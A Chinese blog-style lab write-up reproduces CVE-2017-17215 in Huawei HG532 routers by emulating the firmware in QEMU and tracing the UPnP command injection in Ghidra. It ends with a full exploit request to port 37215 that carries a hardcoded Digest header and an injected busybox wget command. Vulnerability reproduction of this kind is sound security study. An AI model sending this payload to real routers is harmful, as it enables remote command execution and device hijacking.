华为HG532e路由器命令注入漏洞复现 CVE-2017-17215
华为HG532e路由器命令注入漏洞复现 CVE-2017-17215
参考文章:华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215 - IOTsec-Zone
华为HG532路由器远程命令执行漏洞 (CVE-2017-17215) 复现分析 - 安全内参 | 决策者的网络安全知识库
HG532e漏洞复现(cve-2017-17215) - 知乎
1.漏洞概述
华为HG532系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品。2017年11月27日Check Point团队报告华为HG532产品的远程命令执行漏洞(CVE-2017-17215)。通过认证的攻击者可以向37215端口发送恶意报文进行攻击。成功的利用可能导致远程执行任意代码。
CVE:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215
2.影响版本
Huawei HG532e
Huawei HG532s
Huawei HG532d
3.漏洞等级
高危
4.漏洞复现环境
Ubuntu22.04操作系统
qemu虚拟机
HG_packet.bin固件
Ghidra逆向分析工具
5.漏洞复现
1.使用binwalk提取固件
binwalk -Me /root/HG_packet.bin
得到一个squashfs-root文件夹
2.下载qemu
sudo apt-getinstall qemu
sudo apt-getinstall qemu binfmt-support qemu-user-static
3.确定系统架构
直接使用file HG_packet.bin命令得到结果是data.显然是不对的
那我们可以使用file 命令对文件中的busybox文件进行检查
# file ./busybox
./busybox: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
架构特征:MIPS32 BE(大端序)架构,常见于路由器 / 智能家居设备
其中:如果显示为 ELF 32 - bit MSB executable, MIPS,则表示是大端序的 MIPS 架构;若是 ELF 32 - bit LSB executable, MIPS,则是小端序的 MIPS 架构,即 MIPSel
4.下载镜像
根据上面的信息我们选择大端序的mips架构
https://people.debian.org/~aurel32/qemu/mips/
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
vmlinux限制为QEMU版本大于等于QEMU 1.1.0
uploading-image-592536.png
在虚拟机中创建一个start_mips_vm.sh脚本
#此脚本仅适用于开启虚拟机及之前使用
#配置网络,创建网桥,实现虚拟机内部和Ubuntu的连接
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.50.51/24 up
#创建tap接口,添加到网桥
sudo apt install uml-utilities
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.50.52/24 up
sudo brctl addif Virbr0 tap0
#qemu虚拟机配置,账号密码都为root
apt install qemu-system-mips
#记得到下载的镜像下进行启动
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
后面的步骤则需要手动运行:
#进入虚拟机后,配置ip地址,测试与主机的连通性
ifconfig eth0 192.168.50.53/24 up
ping 192.168.50.51 -c 3
7.搭建HG532e漏洞环境
#回到主机中将squashfs-root文件夹复制到虚拟机,根据提示输入密码root
scp -r squashfs-root/ root@192.168.50.53:~/
或者
scp -o HostKeyAlgorithms=+ssh-rsa,ssh-dss -r squashfs-root/ root@192.168.50.53:~/
#进入启动的虚拟机,挂载程序文件
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
#启动shell,注意:这个shell是用来后面改IP地址的,
chroot squashfs-root sh
#在Ubuntu里面再单独开一个终端,使用ssh连接上去通过ssh启动的终端,启动路由器
ssh root@192.168.50.53 ====== 错误则使用:ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@192.168.50.53
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
#此时的虚拟机的路由IP已经发生了变化,ssh已经断开了,所以需要返回虚拟机的终端进行更改IP地址
ifconfig eth0 192.168.50.53/24 up
ifconfig br0 192.168.50.52/24 up
至此访问192.168.50.53即可进入后台页面
后续步骤需要使用Ghidra
Ghidra
软件逆向工具
下载地址:
https://www.123pan.com/s/IleA-5OTQh.html
提取码: UUBU
下载完之后运行目录下的.bat文件
使用方法
创建项目
- 搜索(Ctrl+SHIFT+E) NewStatusURL

按住ctrl点击相应函数名即可定位到伪代码位置

int FUN_0040749c(int param_1)
{
int iVar1;
char *local_418;
char *local_414;
char acStack_410 [1028];
iVar1 = ATP_XML_GetChildNodeByName
(*(int *)(param_1 + 0x2c),"NewDownloadURL",(int *)0x0,&local_418);
if ((iVar1 == 0) && (local_418 != (char *)0x0)) {
iVar1 = ATP_XML_GetChildNodeByName
(*(int *)(param_1 + 0x2c),"NewStatusURL",(int *)0x0,&local_414);
if (iVar1 == 0) {
if (local_414 != (char *)0x0) {
snprintf(acStack_410,0x400,
"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",local_418,
local_414);
system(acStack_410);
}
}
}
return iVar1;
}
可以发现,在20行处通过system函数执行系统命令,而system函数输入的参数名为acStack_410,acStack_410则来源于snprintf函数。而在snprintf函数中,直接通过%s去拼接接收到的local_418、local_414参数,未经过任何处理。而local_418、local_414参数对应的就是xml中的NewDownloadURL、NewStatusURL节点的内容,形成了漏洞。
1. 漏洞背景
该漏洞存在于华为HG532系列路由器的UPnP(通用即插即用)服务中,攻击者通过向端口37215发送恶意构造的SOAP请求,利用固件升级功能中的未过滤输入参数(NewStatusURL和NewDownloadURL),实现远程命令注入378。
2. POC构造关键点
用户提供的POC示例基于以下逻辑实现:
-
目标接口:
POST /ctrlt/DeviceUpgrade_1
UPnP服务通过此接口处理固件升级请求,该接口未对输入参数进行充分校验78。 -
命令注入点:
NewStatusURL和NewDownloadURL参数通过XML传递,直接拼接至system("upg -g -U <URL> ...")命令中。- 攻击者通过插入分号(
;)或反引号(```)分隔命令,注入任意指令(如/bin/busybox wget下载恶意文件)38。
xml
复制
<NewStatusURL>;命令;</NewStatusURL> <!-- 分号用于终止当前命令并执行后续指令 -->运行 HTML
-
认证绕过:
通过伪造Digest摘要认证(固定用户名dslf-config和特定哈希值)绕过身份验证。
poc:
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Host: 192.168.50.53:37215
User-Agent: Mozilla/5.0 (iPad; CPU iPad OS 9_3_5 like Mac OS X) AppleWebKit/535.2 (KHTML, like Gecko) FxiOS/15.8w3010.0 Mobile/65J335 Safari/535.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Authorization: Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669
Content-Length: 449
<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget http://192.168.50.51:9000;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>

使用python脚本发送请求,若收到200则成功

浙公网安备 33010602011771号